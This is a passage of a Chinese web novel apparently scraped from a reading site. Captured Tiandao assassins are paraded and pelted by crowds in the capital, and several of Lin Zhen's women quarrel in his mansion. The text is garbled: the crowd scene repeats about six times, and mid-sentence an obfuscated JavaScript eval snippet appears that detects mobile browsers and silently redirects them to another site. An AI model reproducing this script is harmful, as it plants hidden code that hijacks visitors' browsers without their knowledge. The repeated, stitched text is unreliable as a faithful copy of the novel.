言罢胖子一挥手,身后一群训练有素的士兵立刻会意,一拥而上,手中绳索飞舞,三两下便将天道众人捆了个结实。 这些士兵平日里跟着胖子历经风雨,对他的命令言听计从,此刻行动起来整齐划一,速度很快。 “走,带回去让百姓们看看,看看这群臭名昭著的天道杀手!” 胖子大手一挥,声音洪亮如钟,透着一股不容置疑的威严,在这空旷的海边,回音阵阵。 而侥幸躲过一次羞辱的绯羽仙子站了起来,露出阵阵冷笑。 她对雪樱仙子说道:“呵,姐姐,也不知道等回到京城,这死胖子看到百姓如此拥戴我们,会是什么表情。” “说的也是,不过你刚刚真的准备给那个胖子那啥?” “不是你叫我不要反抗的吗?再说,这种情况除了忍受还有别的办法吗?” “唉,你能想明白就好,我特别担心你会冲动。只是我们回到京城,恐怕就再也没有消停日子了。” 众人沿着天路往回走,海风依旧呼啸。 胖子骑着一匹高头大马,走在最前面,时不时回头看看被押解的天道众人,脸上的得意劲儿就没消下去过。 一路上,尘土飞扬,穿过好几座城市,所有百姓都愣愣地看着这支奇特的队伍,有咒骂声,也有喝彩声,唯独没有打抱不平的声音。 队伍浩浩荡荡地向着京城进发。 胖子心中暗自思量。 这京城内外,受天道迫害之人不计其数,今日便是要为他们讨个公道。 就像大哥说的那样:“我们这次行动就是让要所有百姓知道,没有人可以逃脱律法的制裁,也没有人可以拥有特权。除了你我。” 只要想起林臻的话,胖子就忍不住嘴角上扬。 大哥就是大哥,瞧瞧这话说得多有水平。 京城的城门巍峨耸立,百姓们如往常一样在城门口进进出出,做着各自的营生。可当胖子这支队伍出现时,瞬间引起了一阵骚乱。 百姓们纷纷围拢过来,眼中满是好奇与疑惑。 待看清被押解的是天道杀手组织的人时,人群中顿时炸开了锅。 “哟,这不是天道的那帮恶人吗? “平 日里仗着有点武艺,到处杀人越货,无恶不作,可算是遭报应了!” 一位年过半百的老汉拄着拐杖,颤巍巍地指着天道众人,脸上满是愤恨。 他想起自己那被陷害,被栽赃,又被天道无辜杀害的儿子,眼眶瞬间红了起来,心中的怒火熊熊燃烧,只恨不能亲手上去撕了这些恶人。 “就是!我隔壁家的小哥,不过是在路上冲撞了他们一下,就被打得卧床不起,差点丢了性命。” “这些天杀的,就不该活在这世上!” 一位年轻的妇人抱着孩子,眼中含泪,情绪激动地附和道。 她抱紧孩子,生怕这些恶人会突然挣脱束缚,伤害到自己的家人,同时又为能看到天道被惩治而感到一丝欣慰。 然而绯羽仙子听到这话可是不乐意了。 “你放屁!我们天道成员什么时候欺压良民了?什么时候无故打人了?” “你还辩解!打人的就是什么幽梦仙子坐下的一个男的!” “男的?我们天道中根本就没有男弟子!” “少放屁,难道还是人家打着你们天道的旗号出来打人?” “就是啊,干就干了,有什么不好承认的。” “她们是知道自己要死了,所以在这狡辩呢!” 一时间,咒骂声此起彼伏,百姓们的愤怒如汹涌的潮水般宣泄而出。 不知是谁先起的头,一颗臭鸡蛋“嗖”的一声朝着天道众人飞了过去,不偏不倚,正好砸在绯羽仙子的头上,蛋液顺着她的脸滑落,模样狼狈至极。 这一下仿佛点燃了导火索,更多的百姓纷纷效仿,烂菜叶、臭鸡蛋如雨点般纷纷砸向天道众人。 那些平日里不可一世的杀手们,此刻只能低着头,狼狈地躲避着,却又不敢有丝毫反抗,毕竟四周都是虎视眈眈的士兵和满腔怒火的百姓。 胖子骑在马上,看着这一幕,心中涌起一股莫名的畅快。 他深知这些天道杀手组织平日里在京城周边犯下的累累罪行,百姓们早已苦不堪言。 今日,他便是要为这些无辜的百姓出一口恶气,让这天道杀手组织彻底声名扫地。 绯羽仙子脸上已经挨了两个臭鸡蛋了,模样十分狼狈。 但是她不解。 为什么啊这一切到底是为什么啊? 我们多年来为百姓替天行道,除掉多少恶霸?杀掉多少地主? 到头来怎么就连个好都落不下呢? 她目光有些模样地看向雪樱仙子:“姐姐.” “妹妹,我们是不是错了?我们是不是就不该替天行道呢?” “姐姐.呜呜呜.” 心里的信念与理想在这一刻崩塌,忍了一路的绯羽仙子终于留下了泪水。 人群中,还有两双眼睛。 老宗主和青霞仙子。 看到自己门下的徒弟被羞辱,两个好姐妹被如此殴打,她又急又气,恨不得冲上去将人救走。 然而老宗主却在一边说道:“你看见了吧?百姓有多恨我们。” “为什么.” “因为我们天道内部出了问题。很多时候,上头的命令与计划都是很好的,也都是向着百姓的,但是下面的人执行起来就会变,而且变得十分离谱。然后下面的人瞒着上面的人,让上面的人以为下面执行得很好,百姓安居乐业。这就导致,上面的人不知民间疾苦,下面的人肆无忌惮。” “母亲,那我们该怎么办?” 老宗主莞尔一笑:“当然是去找林臻了。” “为什么?” “他把你肚子搞大了,不得负责?” 日里仗着有点武艺,到处杀人越货,无恶不作,可算是遭报应了!” 一位年过半百的老汉拄着拐杖,颤巍巍地指着天道众人,脸上满是愤恨。 他想起自己那被陷害,被栽赃,又被天道无辜杀害的儿子,眼眶瞬间红了起来,心中的怒火熊熊燃烧,只恨不能亲手上去撕了这些恶人。 “就是!我隔壁家的小哥,不过是在路上冲撞了他们一下,就被打得卧床不起,差点丢了性命。” “这些天杀的,就不该活在这世上!” 一位年轻的妇人抱着孩子,眼中含泪,情绪激动地附和道。 她抱紧孩子,生怕这些恶人会突然挣脱束缚,伤害到自己的家人,同时又为能看到天道被惩治而感到一丝欣慰。 然而绯羽仙子听到这话可是不乐意了。 “你放屁!我们天道成员什么时候欺压良民了?什么时候无故打人了?” “你还辩解!打人的就是什么幽梦仙子坐下的一个男的!” “男的?我们天道中根本就没有男弟子!” “少放屁,难道还是人家打着你们天道的旗号出来打人?” “就是啊,干就干了,有什么不好承认的。” “她们是知道自己要死了,所以在这狡辩呢!” 一时间,咒骂声此起彼伏,百姓们的愤怒如汹涌的潮水般宣泄而出。 不知是谁先起的头,一颗臭鸡蛋“嗖”的一声朝着天道众人飞了过去,不偏不倚,正好砸在绯羽仙子的头上,蛋液顺着她的脸滑落,模样狼狈至极。 这一下仿佛点燃了导火索,更多的百姓纷纷效仿,烂菜叶、臭鸡蛋如雨点般纷纷砸向天道众人。 那些平日里不可一世的杀手们,此刻只能低着头,狼狈地躲避着,却又不敢有丝毫反抗,毕竟四周都是虎视眈眈的士兵和满腔怒火的百姓。 胖子骑在马上,看着这一幕,心中涌起一股莫名的畅快。 他深知这些天道杀手组织平日里在京城周边犯下的累累罪行,百姓们早已苦不堪言。 今日,他便是要为这些无辜的百姓出一口恶气,让这天道杀手组织彻底声名扫地。 绯羽仙子脸上已经挨了两个臭鸡蛋了,模样十分狼狈。 但是她不解。 为什么啊这一切到底是为什么啊? 我们多年来为百姓替天行道,除掉多少恶霸?杀掉多少地主? 到头来怎么就连个好都落不下呢? 她目光有些模样地看向雪樱仙子:“姐姐.” “妹妹,我们是不是错了?我们是不是就不该替天行道呢?” “姐姐.呜呜呜.” 心里的信念与理想在这一刻崩塌,忍了一路的绯羽仙子终于留下了泪水。 人群中,还有两双眼睛。 老宗主和青霞仙子。 看到自己门下的徒弟被羞辱,两个好姐妹被如此殴打,她又急又气,恨不得冲上去将人救走。 然而老宗主却在一边说道:“你看见了吧?百姓有多恨我们。” “为什么.” “因为我们天道内部出了问题。很多时候,上头的命令与计划都是很好的,也都是向着百姓的,但是下面的人执行起来就会变,而且变得十分离谱。然后下面的人瞒着上面的人,让上面的人以为下面执行得很好,百姓安居乐业。这就导致,上面的人不知民间疾苦,下面的人肆无忌惮。” “母亲,那我们该怎么办?” 老宗主莞尔一笑:“当然是去找林臻了。” “为什么?” “他把你肚子搞大了,不得负责?” 日里仗着有点武艺,到处杀人越货,无恶不作,可算是遭报应了!” 一位年过半百的老汉拄着拐杖,颤巍巍地指着天道众人,脸上满是愤恨。 他想起自己那被陷害,被栽赃,又被天道无辜杀害的儿子,眼眶瞬间红了起来,心中的怒火熊熊燃烧,只恨不能亲手上去撕了这些恶人。 “就是!我隔壁家的小哥,不过是在路上冲撞了他们一下,就被打得卧床不起,差点丢了性命。” “这些天杀的,就不该活在这世上!” 一位年轻的妇人抱着孩子,眼中含泪,情绪激动地附和道。 她抱紧孩子,生怕这些恶人会突然挣脱束缚,伤害到自己的家人,同时又为能看到天道被惩治而感到一丝欣慰。 然而绯羽仙子听到这话可是不乐意了。 “你放屁!我们天道成员什么时候欺压良民了?什么时候无故打人了?” “你还辩解!打人的就是什么幽梦仙子坐下的一个男的!” “男的?我们天道中根本就没有男弟子!” “少放屁,难道还是人家打着你们天道的旗号出来打人?” “就是啊,干就干了,有什么不好承认的。” “她们是知道自己要死了,所以在这狡辩呢!” 一时间,咒骂声此起彼伏,百姓们的愤怒如汹涌的潮水般宣泄而出。 不知是谁先起的头,一颗臭鸡蛋“嗖”的一声朝着天道众人飞了过去,不偏不倚,正好砸在绯羽仙子的头上,蛋液顺着她的脸滑落,模样狼狈至极。 这一下仿佛点燃了导火索,更多的百姓纷纷效仿,烂菜叶、臭鸡蛋如雨点般纷纷砸向天道众人。 那些平日里不可一世的杀手们,此刻只能低着头,狼狈地躲避着,却又不敢有丝毫反抗,毕竟四周都是虎视眈眈的士兵和满腔怒火的百姓。 胖子骑在马上,看着这一幕,心中涌起一股莫名的畅快。 他深知这些天道杀手组织平日里在京城周边犯下的累累罪行,百姓们早已苦不堪言。 今日,他便是要为这些无辜的百姓出一口恶气,让这天道杀手组织彻底声名扫地。 绯羽仙子脸上已经挨了两个臭鸡蛋了,模样十分狼狈。 但是她不解。 为什么啊这一切到底是为什么啊? 我们多年来为百姓替天行道,除掉多少恶霸?杀掉多少地主? 到头来怎么就连个好都落不下呢? 她目光有些模样地看向雪樱仙子:“姐姐.” “妹妹,我们是不是错了?我们是不是就不该替天行道呢?” “姐姐.呜呜呜.” 心里的信念与理想在这一刻崩塌,忍了一路的绯羽仙子终于留下了泪水。 人群中,还有两双眼睛。 老宗主和青霞仙子。 看到自己门下的徒弟被羞辱,两个好姐妹被如此殴打,她又急又气,恨不得冲上去将人救走。 然而老宗主却在一边说道:“你看见了吧?百姓有多恨我们。” “为什么.” “因为我们天道内部出了问题。很多时候,上头的命令与计划都是很好的,也都是向着百姓的,但是下面的人执行起来就会变,而且变得十分离谱。然后下面的人瞒着上面的人,让上面的人以为下面执行得很好,百姓安居乐业。这就导致,上面的人不知民间疾苦,下面的人肆无忌惮。” “母亲,那我们该怎么办?” 老宗主莞尔一笑:“当然是去找林臻了。” “为什么?” “他把你肚子搞大了,不得负责?” 日里仗着有点武艺,到处杀人越货,无恶不作,可算是遭报应了!” 一位年过半百的老汉拄着拐杖,颤巍巍地指着天道众人,脸上满是愤恨。 他想起自己那被陷害,被栽赃,又被天道无辜杀害的儿子,眼眶瞬间红了起来,心中的怒火熊熊燃烧,只恨不能亲手上去撕了这些恶人。 “就是!我隔壁家的小哥,不过是在路上冲撞了他们一下,就被打得卧床不起,差点丢了性命。” “这些天杀的,就不该活在这世上!” 一位年轻的妇人抱着孩子,眼中含泪,情绪激动地附和道。 她抱紧孩子,生怕这些恶人会突然挣脱束缚,伤害到自己的家人,同时又为能看到天道被惩治而感到一丝欣慰。 然而绯羽仙子听到这话可是不乐意了。 “你放屁!我们天道成员什么时候欺压良民了?什么时候无故打人了?” “你还辩解!打人的就是什么幽梦仙子坐下的一个男的!” “男的?我们天道中根本就没有男弟子!” “少放屁,难道还是人家打着你们天道的旗号出来打人?” “就是啊,干就干了,有什么不好承认的。” “她们是知道自己要死了,所以在这狡辩呢!” 一时间,咒骂声此起彼伏,百姓们的愤怒如汹涌的潮水般宣泄而出。 不知是谁先起的头,一颗臭鸡蛋“嗖”的一声朝着天道众人飞了过去,不偏不倚,正好砸在绯羽仙子的头上,蛋液顺着她的脸滑落,模样狼狈至极。 这一下仿佛点燃了导火索,更多的百姓纷纷效仿,烂菜叶、臭鸡蛋如雨点般纷纷砸向天道众人。 那些平日里不可一世的杀手们,此刻只能低着头,狼狈地躲避着,却又不敢有丝毫反抗,毕竟四周都是虎视眈眈的士兵和满腔怒火的百姓。 胖子骑在马上,看着这一幕,心中涌起一股莫名的畅快。 他深知这些天道杀手组织平日里在京城周边犯下的累累罪行,百姓们早已苦不堪言。 今日,他便是要为这些无辜的百姓出一口恶气,让这天道杀手组织彻底声名扫地。 绯羽仙子脸上已经挨了两个臭鸡蛋了,模样十分狼狈。 但是她不解。 为什么啊这一切到底是为什么啊? 我们多年来为百姓替天行道,除掉多少恶霸?杀掉多少地主? 到头来怎么就连个好都落不下呢? 她目光有些模样地看向雪樱仙子:“姐姐.” “妹妹,我们是不是错了?我们是不是就不该替天行道呢?” “姐姐.呜呜呜.” 心里的信念与理想在这一刻崩塌,忍了一路的绯羽仙子终于留下了泪水。 人群中,还有两双眼睛。 老宗主和青霞仙子。 看到自己门下的徒弟被羞辱,两个好姐妹被如此殴打,她又急又气,恨不得冲上去将人救走。 然而老宗主却在一边说道:“你看见了吧?百姓有多恨我们。” “为什么.” “因为我们天道内部出了问题。很多时候,上头的命令与计划都是很好的,也都是向着百姓的,但是下面的人执行起来就会变,而且变得十分离谱。然后下面的人瞒着上面的人,让上面的人以为下面执行得很好,百姓安居乐业。这就导致,上面的人不知民间疾苦,下面的人肆无忌惮。” “母亲,那我们该怎么办?” 老宗主莞尔一笑:“当然是去找林臻了。” “为什么?” “他把你肚子搞大了,不得负责?” 日里仗着有点武艺,到处杀人越货,无恶不作,可算是遭报应了!” 一位年过半百的老汉拄着拐杖,颤巍巍地指着天道众人,脸上满是愤恨。 他想起自己那被陷害,被栽赃,又被天道无辜杀害的儿子,眼眶瞬间红了起来,心中的怒火熊熊燃烧,只恨不能亲手上去撕了这些恶人。 “就是!我隔壁家的小哥,不过是在路上冲撞了他们一下,就被打得卧床不起,差点丢了性命。” “这些天杀的,就不该活在这世上!” 一位年轻的妇人抱着孩子,眼中含泪,情绪激动地附和道。 她抱紧孩子,生怕这些恶人会突然挣脱束缚,伤害到自己的家人,同时又为能看到天道被惩治而感到一丝欣慰。 然而绯羽仙子听到这话可是不乐意了。 “你放屁!我们天道成员什么时候欺压良民了?什么时候无故打人了?” “你还辩解!打人的就是什么幽梦仙子坐下的一个男的!” “男的?我们天道中根本就没有男弟子!” “少放屁,难道还是人家打着你们天道的旗号出来打人?” “就是啊,干就干了,有什么不好承认的。” “她们是知道自己要死了,所以在这狡辩呢!” 一时间,咒骂声此起彼伏,百姓们的愤怒如汹涌的潮水般宣泄而出。 不知是谁先起的头,一颗臭鸡蛋“嗖”的一声朝着天道众人飞了过去,不偏不倚,正好砸在绯羽仙子的头上,蛋液顺着她的脸滑落,模样狼狈至极。 这一下仿佛点燃了导火索,更多的百姓纷纷效仿,烂菜叶、臭鸡蛋如雨点般纷纷砸向天道众人。 那些平日里不可一世的杀手们,此刻只能低着头,狼狈地躲避着,却又不敢有丝毫反抗,毕竟四周都是虎视眈眈的士兵和满腔怒火的百姓。 胖子骑在马上,看着这一幕,心中涌起一股莫名的畅快。 他深知这些天道杀手组织平日里在京城周边犯下的累累罪行,百姓们早已苦不堪言。 今日,他便是要为这些无辜的百姓出一口恶气,让这天道杀手组织彻底声名扫地。 绯羽仙子脸上已经挨了两个臭鸡蛋了,模样十分狼狈。 但是她不解。 为什么啊这一切到底是为什么啊? 我们多年来为百姓替天行道,除掉多少恶霸?杀掉多少地主? 到头来怎么就连个好都落不下呢? 她目光有些模样地看向雪樱仙子:“姐姐.” “妹妹,我们是不是错了?我们是不是就不该替天行道呢?” “姐姐.呜呜呜.” 心里的信念与理想在这一刻崩塌,忍了一路的绯羽仙子终于留下了泪水。 人群中,还有两双眼睛。 老宗主和青霞仙子。 看到自己门下的徒弟被羞辱,两个好姐妹被如此殴打,她又急又气,恨不得冲上去将人救走。 然而老宗主却在一边说道:“你看见了吧?百姓有多恨我们。” “为什么.” “因为我们天道内部出了问题。很多时候,上头的命令与计划都是很好的,也都是向着百姓的,但是下面的人执行起来就会变,而且变得十分离谱。然后下面的人瞒着上面的人,让上面的人以为下面执行得很好,百姓安居乐业。这就导致,上面的人不知民间疾苦,下面的人肆无忌惮。” “母亲,那我们该怎么办?” 老宗主莞尔一笑:“当然是去找林臻了。” “为什么?” “他把你肚子搞大了,不得负责?” 日里仗着有点武艺,到处杀人越货,无恶不作,可算是遭报应了!” 一位年过半百的老汉拄着拐杖,颤巍巍地指着天道众人,脸上满是愤恨。 他想起自己那被陷害,被栽赃,又被天道无辜杀害的儿子,眼眶瞬间红了起来,心中的怒火熊熊燃烧,只恨不能亲手上去撕了这些恶人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066047|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “就是!我隔壁家的小哥,不过是在路上冲撞了他们一下,就被打得卧床不起,差点丢了性命。” “这些天杀的,就不该活在这世上!” 一位年轻的妇人抱着孩子,眼中含泪,情绪激动地附和道。 她抱紧孩子,生怕这些恶人会突然挣脱束缚,伤害到自己的家人,同时又为能看到天道被惩治而感到一丝欣慰。 然而绯羽仙子听到这话可是不乐意了。 “你放屁!我们天道成员什么时候欺压良民了?什么时候无故打人了?” “你还辩解!打人的就是什么幽梦仙子坐下的一个男的!” “男的?我们天道中根本就没有男弟子!” “少放屁,难道还是人家打着你们天道的旗号出来打人?” “就是啊,干就干了,有什么不好承认的。” “她们是知道自己要死了,所以在这狡辩呢!” 一时间,咒骂声此起彼伏,百姓们的愤怒如汹涌的潮水般宣泄而出。 不知是谁先起的头,一颗臭鸡蛋“嗖”的一声朝着天道众人飞了过去,不偏不倚,正好砸在绯羽仙子的头上,蛋液顺着她的脸滑落,模样狼狈至极。 这一下仿佛点燃了导火索,更多的百姓纷纷效仿,烂菜叶、臭鸡蛋如雨点般纷纷砸向天道众人。 那些平日里不可一世的杀手们,此刻只能低着头,狼狈地躲避着,却又不敢有丝毫反抗,毕竟四周都是虎视眈眈的士兵和满腔怒火的百姓。 胖子骑在马上,看着这一幕,心中涌起一股莫名的畅快。 他深知这些天道杀手组织平日里在京城周边犯下的累累罪行,百姓们早已苦不堪言。 今日,他便是要为这些无辜的百姓出一口恶气,让这天道杀手组织彻底声名扫地。 绯羽仙子脸上已经挨了两个臭鸡蛋了,模样十分狼狈。 但是她不解。 为什么啊这一切到底是为什么啊? 我们多年来为百姓替天行道,除掉多少恶霸?杀掉多少地主? 到头来怎么就连个好都落不下呢? 她目光有些模样地看向雪樱仙子:“姐姐.” “妹妹,我们是不是错了?我们是不是就不该替天行道呢?” “姐姐.呜呜呜.” 心里的信念与理想在这一刻崩塌,忍了一路的绯羽仙子终于留下了泪水。 人群中,还有两双眼睛。 老宗主和青霞仙子。 看到自己门下的徒弟被羞辱,两个好姐妹被如此殴打,她又急又气,恨不得冲上去将人救走。 然而老宗主却在一边说道:“你看见了吧?百姓有多恨我们。” “为什么.” “因为我们天道内部出了问题。很多时候,上头的命令与计划都是很好的,也都是向着百姓的,但是下面的人执行起来就会变,而且变得十分离谱。然后下面的人瞒着上面的人,让上面的人以为下面执行得很好,百姓安居乐业。这就导致,上面的人不知民间疾苦,下面的人肆无忌惮。” “母亲,那我们该怎么办?” 老宗主莞尔一笑:“当然是去找林臻了。” “为什么?” “他把你肚子搞大了,不得负责?” 日里仗着有点武艺,到处杀人越货,无恶不作,可算是遭报应了!” 一位年过半百的老汉拄着拐杖,颤巍巍地指着天道众人,脸上满是愤恨。 他想起自己那被陷害,被栽赃,又被天道无辜杀害的儿子,眼眶瞬间红了起来,心中的怒火熊熊燃烧,只恨不能亲手上去撕了这些恶人。 “就是!我隔壁家的小哥,不过是在路上冲撞了他们一下,就被打得卧床不起,差点丢了性命。” “这些天杀的,就不该活在这世上!” 一位年轻的妇人抱着孩子,眼中含泪,情绪激动地附和道。 她抱紧孩子,生怕这些恶人会突然挣脱束缚,伤害到自己的家人,同时又为能看到天道被惩治而感到一丝欣慰。 然而绯羽仙子听到这话可是不乐意了。 “你放屁!我们天道成员什么时候欺压良民了?什么时候无故打人了?” “你还辩解!打人的就是什么幽梦仙子坐下的一个男的!” “男的?我们天道中根本就没有男弟子!” “少放屁,难道还是人家打着你们天道的旗号出来打人?” “就是啊,干就干了,有什么不好承认的。” “她们是知道自己要死了,所以在这狡辩呢!” 一时间,咒骂声此起彼伏,百姓们的愤怒如汹涌的潮水般宣泄而出。 不知是谁先起的头,一颗臭鸡蛋“嗖”的一声朝着天道众人飞了过去,不偏不倚,正好砸在绯羽仙子的头上,蛋液顺着她的脸滑落,模样狼狈至极。 这一下仿佛点燃了导火索,更多的百姓纷纷效仿,烂菜叶、臭鸡蛋如雨点般纷纷砸向天道众人。 那些平日里不可一世的杀手们,此刻只能低着头,狼狈地躲避着,却又不敢有丝毫反抗,毕竟四周都是虎视眈眈的士兵和满腔怒火的百姓。 胖子骑在马上,看着这一幕,心中涌起一股莫名的畅快。 他深知这些天道杀手组织平日里在京城周边犯下的累累罪行,百姓们早已苦不堪言。 今日,他便是要为这些无辜的百姓出一口恶气,让这天道杀手组织彻底声名扫地。 绯羽仙子脸上已经挨了两个臭鸡蛋了,模样十分狼狈。 但是她不解。 为什么啊这一切到底是为什么啊? 我们多年来为百姓替天行道,除掉多少恶霸?杀掉多少地主? 到头来怎么就连个好都落不下呢? 她目光有些模样地看向雪樱仙子:“姐姐.” “妹妹,我们是不是错了?我们是不是就不该替天行道呢?” “姐姐.呜呜呜.” 心里的信念与理想在这一刻崩塌,忍了一路的绯羽仙子终于留下了泪水。 人群中,还有两双眼睛。 老宗主和青霞仙子。 看到自己门下的徒弟被羞辱,两个好姐妹被如此殴打,她又急又气,恨不得冲上去将人救走。 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为什么啊这一切到底是为什么啊? 我们多年来为百姓替天行道,除掉多少恶霸?杀掉多少地主? 到头来怎么就连个好都落不下呢? 她目光有些模样地看向雪樱仙子:“姐姐.” “妹妹,我们是不是错了?我们是不是就不该替天行道呢?” “姐姐.呜呜呜.” 心里的信念与理想在这一刻崩塌,忍了一路的绯羽仙子终于留下了泪水。 人群中,还有两双眼睛。 老宗主和青霞仙子。 看到自己门下的徒弟被羞辱,两个好姐妹被如此殴打,她又急又气,恨不得冲上去将人救走。 然而老宗主却在一边说道:“你看见了吧?百姓有多恨我们。” “为什么.” “因为我们天道内部出了问题。很多时候,上头的命令与计划都是很好的,也都是向着百姓的,但是下面的人执行起来就会变,而且变得十分离谱。然后下面的人瞒着上面的人,让上面的人以为下面执行得很好,百姓安居乐业。这就导致,上面的人不知民间疾苦,下面的人肆无忌惮。” “母亲,那我们该怎么办?” 老宗主莞尔一笑:“当然是去找林臻了。” “为什么?” “他把你肚子搞大了,不得负责?” 第318章 王府出大事了 “啊?”青霞仙子长大了嘴“母亲您说什么呢?” “你母亲我是过来人虽然才几天时间但可以看出来你已经有了身孕!这件事情林臻必须负责!” 只要提起林臻青霞仙子就恨得牙根直痒痒:“我才不要那个人渣负责!我要杀了他!” “别说胡话林臻绝不能死你也不能杀了他。” “为什么?你是我母亲还是他母亲?” “天道这些年造下的孽不得偿还吗?林臻一心为民这正符合我们天道的信条你伺候他就等于变相的你自己赎罪。” “母亲 老宗主阴阳怪气地看了自己女儿一眼:“你告诉我你除了杀人以外还能为百姓做什么?” “可是.” “没有可是!”老宗主将她的话打断斩钉截铁的说道“这是我们的约定你已经失败了按照约定你以后就必须要听我的话!” 青霞仙子想起要执掌天道的那天。 当时还是宗主的母亲劝告她不要继承天道但青霞仙子非说自己可以把天道发扬光大打理得更好。 于是母女二人便立下约定。 如果天道在青霞仙子手里彻底失去价值就要永远听她的话。 青霞仙子向来自傲当然会答应。 而这个约定实施起来就是将近十年。 如今青霞仙子输了老宗主自然会旧事重提以免她再任着性子做出傻事。 队伍照耀而过天道所有成员都被关押进喇嘛庙里。 好像那里就本该关押这些人。 清远大师对此也很无奈但虎贲营的屠刀在前他也不敢说什么。 尤其是听到林臻受伤的消息后他都不敢想象这群虎狼之师能干出什么惊天动地的事情。 王府出事了。 出大事了! 刘妙颜来了。 本来林臻要去代县的消息刚刚传到她耳中她便马不停蹄地往京城赶谁知道路刚走了一半就听代县的仗已经打完了林臻已经收拾东西准备去武清县搞事业了。 搞事业那么无聊刘妙颜才不想跟着去呢于是就又回到前线谁知刚到前线就又听说林臻受伤的消息又急急忙忙地往回赶。 好不容易赶到京城就看见林臻浑身上下包扎得像个木乃伊好几处伤口还在往外渗血。 刘妙颜气得一把就林臻保养了好几个月的紫砂壶摔了个粉碎。 晴雯走进来看到后顿时不喜,与她吵了起来。 “哪来的野丫头,砸东砸西的成何体统?当这里是你家呢?” 林臻的书房内,林臻躺在屏风后面的床上休息,因为这里通风比较好,有利于伤口愈合。 谁知会发生这样的事情。 那晴雯也是任性惯了的,天不怕地不怕,现在又怀着身孕更是鼻孔朝天,王府上下全都一口一口夫人地叫着。 刘妙颜的火爆脾气自然也不能容忍她,见她叫嚣,回头骂道:“滚!小丫头片子,找死?” “你骂谁呢!?”晴雯立刻掐腰,黛眉紧蹙的喊道:“来人,把这家伙给本夫人丢出去!” “夫人?你是林臻夫人?” “没错!” “呵,削肩膀水蛇腰,奶还那么大,难怪林臻会喜欢。” 晴雯从来就不知道什么是害羞,甚至在她说完以后还故意挺了挺:“怎么?你羡慕?” “我羡慕你?哈哈哈哈,一个花瓶罢了,有什么好样本姑奶奶羡慕的?” “你还敢扎刺!来人!” 侯春和黄鼠都愣愣地站在原地。 晴雯不知道刘妙颜是谁,他俩可知道。 这位姑奶奶可不是什么善男信女,搞不好一嘴巴抽死人啊! 晴雯一指刘妙颜,娇嗔道:“把她扔出去!我们王府不欢迎这样没规矩的女人!” “扔我?”刘妙颜冷笑着看向侯春两人,“你俩敢吗?” 哥俩当即尬笑着摆手。 “额不敢不敢。” “我们哪敢扔刘夫人呢。” “呵。”刘妙颜冷笑一声,走到晴雯面前,伸出手捏住她的下巴,“小模样是不错,难怪林臻那么疼你。不过我告诉你,现在我来了,以后王府就只有我一个夫人!” 刘 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月妩也是如此,一边帮忙,一边含泪。听到外面的喊叫声,她甚至气的脸蛋通红,几步就走了出来,怒声道。 “我说你们能不能消停点?不知道夫君在休息吗?” 这是她进入王府后第一次发火,还是和脾气暴躁的晴雯和擅长动手的刘妙颜。 晴雯捂着头顶没说话,刘妙颜转过身,好奇的上下打量着她。 “呦呵?还有女人?” 月妩很不喜欢这个眼神,气鼓鼓地站在原地瞪着她,丝毫不退缩。 谁知刘妙颜转手便揪住侯春的耳朵,在他耳边大喊:“说,林臻到底有几个婆娘!?” “这这这刘将军,您轻点,疼啊!!” “说!” “您等我数数,等我数数行不行?” 第319章 张俪姐姐!她欺负我们! “数数?那意思就是很多了?”刘妙颜拧眉倒竖,手上又加了几分力气。 侯春的耳朵根瞬间就渗出血来,顺着后脖颈往下流淌。 “刘将军!末将的耳朵都要掉了!” “说!到底有几个!” “我真的数不清啊!” “哼!” 刘妙颜气鼓鼓地松开手,转身看向月妩。 月妩依旧勇敢的与她对视,只是步子不自觉的往后退了一步。 刘妙颜走过来,还是用看晴雯的眼神打量着她:“身段倒是不错,就是老了点.你是林臻的第几房小妾?” “我跟你有什么关系!” “对!”晴雯难得的居然和月妩同一阵线,走到她身边,“跟你有什么关系!” “呦呵?好了伤疤忘了疼是吧?”刘妙颜装模作样地扬起手,晴雯吓得赶紧捂住脸。 月妩条件反射地把晴雯抱在怀里。 三人剑拔弩张。 这时,浣碧从房间里走出来,见到这副场面有些吃惊,也有些恼怒。 “你们不要再闹了,夫君需要休息!” “得,又来一个。”刘妙颜翻了个白眼,“你是第几个啊?” “她是第一个!最得夫君喜爱的!” “不过是个丫头而已,这林臻真是越来越不长进了!” 刘妙颜的表情有些恨铁不成钢。 好歹也是王府世子,就算不滥情,也得挑挑大家闺秀娶进门啊,这怎么弄了一堆丫鬟? 晴雯反应过来,回怼道:“你说谁呢!我们早就不是丫鬟了!” “一天是丫鬟,就永远都是丫鬟!” “你!” 晴雯还是第一次在嘴上吃亏,当即又气又急。 但她却没有任何办法。 说又说不过,打又打不过。 这哪来的这么厉害的女人啊? 就在此时,张俪回来了,她依旧穿着绛紫色长裙,款款步入书房,气质绝佳。 每次月妩看到她的时候都会不自觉地低下头,觉得自己低她一等。 但是今天,月妩好像看到什么救星似的,眼睛发光。 晴雯更是矢口喊道:“张俪姐姐!她欺负我们!” 刘妙颜回头看向,就见一个不管是气质还是长相都不在自己之下的女人进来,眉毛轻佻。 张俪率先开口。 “今天人这么全呀?夫君可好些了?” “你也是林臻的小妾?”刘妙颜几乎咬牙, 却见张俪笑盈盈,人畜无害的点头道。“是呀。” “你是第几个?” “我也不知道我是第几个?那你是第几个呢?” “我”刘妙颜顿时语塞。 因为她确实也不知道自己是第几个! 该死的林臻,背着我搞这么多女人! 等你醒了,看我不打死你! “你管我是第几个?” 张俪走到所有人面前,就真的像个邻家大姐姐似的把她们护在身后:“那就是说,妹妹还不是夫君的小妾喽?” “我当然不是小妾!” “那你在这发什么火?以什么身份?” “我我是她的正妻!” “呦呦呦~”晴雯表情怪异,阴阳怪气的说道:“我是他正妻~呦呦呦~也不知道问过上官夫人没有。” “上官夫人?”刘妙颜听到这个名字为之一愣,“秦国那个上官婉儿?” “怎么?怕了吧!夫君说了,等王爷回来就会让他和上官夫人完婚!至于你,哼,我们连听都没听说过!”晴雯撇过头,一副要气死你的样子。 